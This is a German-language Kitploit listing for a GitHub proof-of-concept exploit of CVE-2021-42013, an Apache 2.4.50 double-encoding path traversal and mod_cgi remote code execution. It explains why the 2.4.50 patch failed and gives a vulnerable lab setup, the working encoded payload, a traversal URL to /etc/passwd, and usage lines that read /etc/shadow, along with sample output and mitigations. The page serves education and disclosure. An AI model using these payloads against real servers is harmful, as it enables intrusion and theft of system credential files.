Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-42013 — Proof-of-Concept-Exploit für CVE-2021-42013, der Path Traversal und Remotecodeausführung auf Apache 2.4.50 durch Umgehung des Patches für CVE-2021-41773 mittels doppelter URL-Kodierung demonstriert. | Kitploit
Tools/GitHubGitHub/joapath/cve-2021-42013
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Proof-of-Concept-Exploit für CVE-2021-42013, der Path Traversal und Remotecodeausführung auf Apache 2.4.50 durch Umgehung des Patches für CVE-2021-41773 mittels doppelter URL-Kodierung demonstriert.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (Patch-Umgehung)

Nur zur Verwendung in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden.


Beschreibung

PoC entwickelt, um CVE-2021-42013 zu demonstrieren, das in Apache HTTP Server 2.4.50 vorhanden ist.

Dieses CVE ist die Umgehung des Patches, den Apache für CVE-2021-41773 veröffentlichte. Version 2.4.50 versuchte, den vorherigen Path-Traversal zu beheben, indem eine Validierung hinzugefügt wurde, die die Sequenzen .%2e und %2e. ablehnte. Diese Validierung reichte jedoch nicht aus: Sie berücksichtigte nicht, dass dasselbe Ergebnis mit doppelter URL-Kodierung erzielt werden konnte, wodurch dieselbe Angriffsfläche exponiert blieb.


Beziehung zu CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Betroffene VersionApache 2.4.49Apache 2.4.50
Verwendetes Encoding.%2e/%%32%65%%32%65/
MechanismusEinfaches EncodingDoppeltes Encoding (Patch-Umgehung)
RCE möglichJa (mit mod_cgi)Ja (mit mod_cgi)
Korrigierte Version2.4.50 (unvollständiger Patch)2.4.51

Warum der Patch von 2.4.50 fehlschlug

Der Apache-Patch 2.4.50 fügte eine Validierung in ap_normalize_path() hinzu, die wörtlich nach den Sequenzen .%2e und %2e. im Pfad der Anfrage suchte. Wenn sie gefunden wurden, lehnte er die Anfrage mit 400 oder 403 ab.

Das Problem: Diese Validierung wurde auf dem String vor einem zweiten Durchlauf der URL-Decodierung ausgeführt. Wenn die Payload doppelt kodiert war, fand die Validierung die verbotene Sequenz nicht, da sie noch nicht decodiert war - und wenn sie schließlich decodiert wurde, um den Dateisystempfad aufzulösen, war das ../ bereits vorhanden und der Traversal fand trotzdem statt.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificación:   %2e%2e/         → ../
Resultado:        traversal exitoso

Die eigentliche Korrektur kam in 2.4.51, wo Apache die Normalisierungslogik umschrieb, um den Pfad vollständig aufzulösen, bevor irgendeine Sicherheitsvalidierung angewendet wurde.


Doppeltes Encoding — wie es funktioniert

%%32%65 ist die doppelt kodierte Darstellung von .:

root@kitploit:~
.  →  %2e  (encoding estándar)
%  →  %25  (encoding del símbolo %)
2  →  %32  (encoding del carácter '2')
e  →  %65  (encoding del carácter 'e')

Also wird %2e mit seinem kodierten % und den hex-kodierten Zeichen zu %%32%65.

Eine erste Decodierung von %%32%65 ergibt %2e. Eine zweite ergibt ..


Erforderliche Bedingungen

BedingungDetail
Apache-VersionGenau 2.4.50
ZugriffsrichtlinieRequire all granted im exponierten Verzeichnis
CGI-Modulmod_cgi aktiviert (nur für RCE)

Testumgebung

root@kitploit:~
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

Oder manuell mit Apache 2.4.50 und dieser Konfiguration in httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Verwendung des Skripts

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumente

Beispiele

root@kitploit:~
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Erwartete Ausgabe — Traversal-Modus

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Erwartete Ausgabe — RCE-Modus

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Minderung

  • Apache auf Version 2.4.51 oder höher aktualisieren.
  • Require all denied als Standardwert beibehalten.
  • mod_cgi deaktivieren, wenn nicht benötigt.
  • Niemals darauf vertrauen, dass ein Patch vollständig ist, ohne ihn zu überprüfen: Die Analyse des Diffs von 2.4.51 zeigt, dass die eigentliche Korrektur eine vollständige Umschreibung der Normalisierungslogik erforderte.

Referenzen

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis

PoC entwickelt zu Bildungszwecken für ein Portfolio im Bereich offensive Sicherheit.

Tool herunterladen
ArgumentErforderlichBeschreibung
--targetJaBasis-URL des Servers (z.B. http://localhost:8080)
--modeJatraversal zum Lesen von Dateien, rce zum Ausführen von Befehlen
--cmdNeinAuszuführender Befehl im Modus rce (Standard: id)